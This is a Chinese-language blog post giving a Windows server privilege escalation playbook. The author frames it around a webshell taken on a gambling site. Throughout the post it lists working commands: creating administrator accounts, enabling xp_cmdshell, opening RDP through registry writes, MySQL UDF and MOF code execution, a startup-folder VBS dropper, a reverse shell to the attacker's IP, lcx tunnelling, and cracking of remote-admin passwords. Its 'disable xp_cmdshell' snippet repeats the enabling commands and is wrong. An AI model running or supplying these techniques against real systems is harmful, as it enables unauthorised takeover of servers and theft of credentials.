windows提權總結
windows提權
0,起因,由於前幾天拿了一個菠菜站的webshell,但是隻有iis許可權,執行無法建立使用者等操作,更無法對整個伺服器進行控制了,於是此時便需要提權了,對於一個剛剛入門的小白來說,此刻真正意識到了提權的重要性,於是便開始學習提取相關知識,以拿下該菠菜的站點。
提權前的準備工作
1,通常來說,不同的指令碼所處的許可權是不一樣的。這就意味著,如果該站點支援許可權更高的指令碼,我們可以上傳該許可權更高的指令碼的大馬,進而拿到更高的許可權。
- asp/php 通常為匿名許可權(網路服務許可權)
- aspx 通常為user許可權
- jsp 通常為系統許可權
2,提權中常常也需要進行資訊收集:
- 內外網
- 伺服器系統和版本位數
- 伺服器的補丁情況
- 伺服器的安裝軟體情況
- 伺服器的防護軟體情況
- 埠情況
- 所支援的指令碼情況
- ...............................等等
3,windows資訊收集中常用的命令:
ipconfig /all檢視當前ip net user檢視當前伺服器賬號情況 netstat -ano檢視當前伺服器埠開放情況 ver檢視當前伺服器作業系統 systeminfo檢視當前伺服器配置資訊(補丁情況) tasklist /svc檢視當前伺服器程序情況 taskkill -pid pid號結束某個pid號的程序 taskkill /im qq.exe /f 結束qq程序,如果對命令不清楚,可以使用taskkill /? 進行檢視 net user v01cano v01cano /add 新增一個使用者名稱為v01cano密碼為v01cano的使用者 net localgroup administrators v01cano /add 將使用者v01cano新增到管理員組 whoami檢視當前操作使用者(當前許可權)
cmd命令執行提權
cmd命令執行提權-拿到webshell後,通常是無法執行cmd命令的,常見的阻斷cmd命令執行有如下三種:
- 防護軟體攔截
- cmd被降權
- 元件被刪除
- 被攔截和降權的解決方案,找可讀寫目錄,上傳cmd.exe,呼叫自己上傳的cmd.exe,執行cmd命令。
- 元件被刪除解決方案:檢查是否支援aspx,如果支援,則可以通過aspx直接呼叫系統的cmd命令。或者換個指令碼試試,比如換個php或者asp的大馬試試。
- https://www.cnblogs.com/v01cano/p/10293838.html
FTP軟體提權:
常見的FTP軟體有server-u,g6ftp,filezilla等等。
https://www.cnblogs.com/v01cano/p/10310822.html
遠端管理軟體提權:
常見的遠端管理軟體有teamviewer,pcanywhere,radmin,vnc等等。
1,teamviewer提權:比較難,官方響應更新較快。
2,pcanywhere提權:(預設埠5631,5632)一般下載安裝根目錄下的hosts資料夾下的PCA.admin.CIF檔案,然後使用pcanywhere破解.exe可執行程式讀取其使用者名稱和密碼,然後即可進行連線遠控。
3,radmin提權:(預設埠4899)直接使用大馬中的Radmin提權,可以直接讀取Radmin的密碼(密文),同樣使用工具radmin_hash.exe直接新建連線,然後右鍵完全控制,將32位的hash密文直接輸入即可(注:在大馬裡面獲取的密文為大寫,需要先進行小寫轉換)
4,vnc提權:@1,通過讀取登錄檔的十進位制數,將其轉換成十六進位制數。(使用大馬中讀取登錄檔選項,選擇vnc4密碼選項,進行讀取)@2,使用工具vncx4.exe破解十六進位制數後得到密碼,即首先輸入vncx4.exe -W回車,然後將轉換後的十六進位制數依次輸入。@3,使用破解得到的密碼連線vnc。
windows溢位提權:
主要是通過windows漏洞利用來獲取系統許可權,常見的溢位提權有巴西烤肉,pr等。
提權步驟如下:
- 通過systeminfo命令檢視伺服器打了哪些補丁。
- 根據未打補丁的漏洞進行利用即可。可以通過getroot tools工具進行檢視有哪些漏洞未打補丁。
破解hash提權:
前提:需要system許可權。
- 上傳pwdunp7.exe執行獲取hash值或者使用pass.exe讀取記憶體中的明文密碼。
- 拿到lc5,彩虹表或者cmd5中解密
- 即可得到管理員密碼
啟動項提權:
- 前提寫入的目錄需要寫入許可權
- 將批處理檔案上傳到開啟啟動項目錄等待管理員重啟即可。
資料庫提權:
sqlserver資料庫提權
1,首先需要獲取sa賬號,或者其他管理員賬號。獲取方法,檢視config.asp,conn.asp,database.asp等檔案。
2,安裝cmd_shell元件
執行如下命令安裝cmd_shell元件,預設無法直接執行cmd命令: EXEC sp_configure 'show advanced options', 1 GO RECONFIGURE GO EXEC sp_configure 'xp_cmdshell', 1 GO RECONFIGURE GO 刪除cmd_shell元件: EXEC sp_configure 'show advanced options', 1 GO RECONFIGURE GO EXEC sp_configure 'xp_cmdshell', 1 GO RECONFIGURE GO 如果在新增使用者到管理員組administrators的時候遇到安全狗而無法新增,則可以新增使用者到Remote desktop Users遠端組,遠端組的使用者同樣可以進行遠端連線。
3,開啟3389
開啟3389的sql語句: exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; 關閉3389的sql語句: exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
4,建立使用者,加入到administrators組或者Remote desktop Users組
mysql資料庫提權
前提:需要是資料庫管理員許可權才可以進行提權操作。
一,udf提權
1,獲取到對方mysql資料庫下的root賬號和密碼,常用的獲取方法有:
- 檢視網站原始碼裡面的資料庫配置檔案(inc,conn,config.sql,common,data等)
- 檢視資料庫安裝路徑下的user.myd(/data/mysql/)
- 暴力破解mysql密碼,破解3306埠入侵。
2,udf提權原理:
通過root許可權匯出udf.dll到系統目錄下,可以通過udf.dll呼叫執行cmd。 create function cmdshell returns string soname 'udf.dll' select cmdshell('net user iis_user 123!@#abcABC /add'); select cmdshell('net localgroup administrators iis_user /add'); drop function cmdshell;
3,udf提權常用方法:
直接上傳udf大馬,對如上命令進行自動執行,從而達到提權的目的。
二,啟動項提權
啟動項提權原理:使用較少
1,檢視資料庫中有些什麼資料表
mysql>show tables;
預設的情況下,test中沒有任何表的存在。
2,在test資料庫下建立一個新的表;
mysql>create table a(cmd text);
我們建立了一個新的表,表名為a,表中只存放一個欄位,欄位名為cmd,為test文字。
3,在表中插入新的內容:
insert into a values(“set wshshell=createobject(“”wscript.shell””)”); insert into a values(“a=wshshell.run(“”cmd.exe /c net user v01cano v01cano /add“”,0)”); insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators v01cano /add“”,0)”); select * from a into outfile “C://docume~1//「開始」選單//程式//啟動//a.vbs”; 重啟即可建立該使用者。
三,mof提權
mof提權原理: 第一種方法: 上傳mof.php,輸入相關資訊,執行命令,提權。 第二種方法: 上傳x.mof檔案,使用select命令匯出到正確的位置。 select load_file('C:/php/APMServ5.2.6/www/htdocs/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof' 允許外部地址使用root使用者連線的sql語句: Grant all privileges on *.* to 'root'@'%' IDENTIFIED BY "root賬戶密碼" with grant option;
四,反鏈埠提權(反彈shell)
反鏈埠提權原理:可以使用udf提權的大馬進行操作。
1,利用mysql客戶端工具連線mysql伺服器,然後執行下面的操作。
執行命令:
mysql.exe -h 192.168.174.151 -uroot -p enter password: mysql>\. C:\mysql.txt mysql>select backshell("YourIP",埠);
2,本地監聽你反彈的埠:
nc.exe -v -l -p 埠
成功後,你可以獲得一個system許可權的cmdshell,其實這個也是利用udf提權,即使用udf提權的大馬進行反彈shell提權。
五,內網埠轉發:
1,內網埠轉發常用操作。 內網主機輸入命令:該外網ip為黑客的某臺伺服器。 lcx.exe -slave 外網ip 外網埠 內網ip 內網埠 lcx.exe -slave 200.1.1.1 1111 192.168.1.2 3389 外網主機輸入命令: lcx.exe -listen 1111 1311
開啟3389常用方法
- 使用批處理檔案開啟3389
- 使用sql語句開啟3389
- 使用exe開啟3389
- 使用vb開啟3389
windows常用許可權提升命令
常用命令: type E:\wwwroot\web.config 檢視檔案內容 cacls命令: /T更改當前目錄及其所有子目錄中指定檔案的 ACL。 /E編輯 ACL 而不替換。 /C在出現拒絕訪問錯誤時繼續。 /G user:perm賦予指定使用者訪問許可權。Perm 可以是: R讀取,W寫入,C更改(寫入),F完全控制。 /R user撤銷指定使用者的訪問許可權(僅在與 /E 一起使用時合法)。 cacls C:\wwwroot\1.html /t /e /c /g v01cano:f 要修改一個檔案許可權的必要條件: 有user組的完全控制權限,cmd許可權。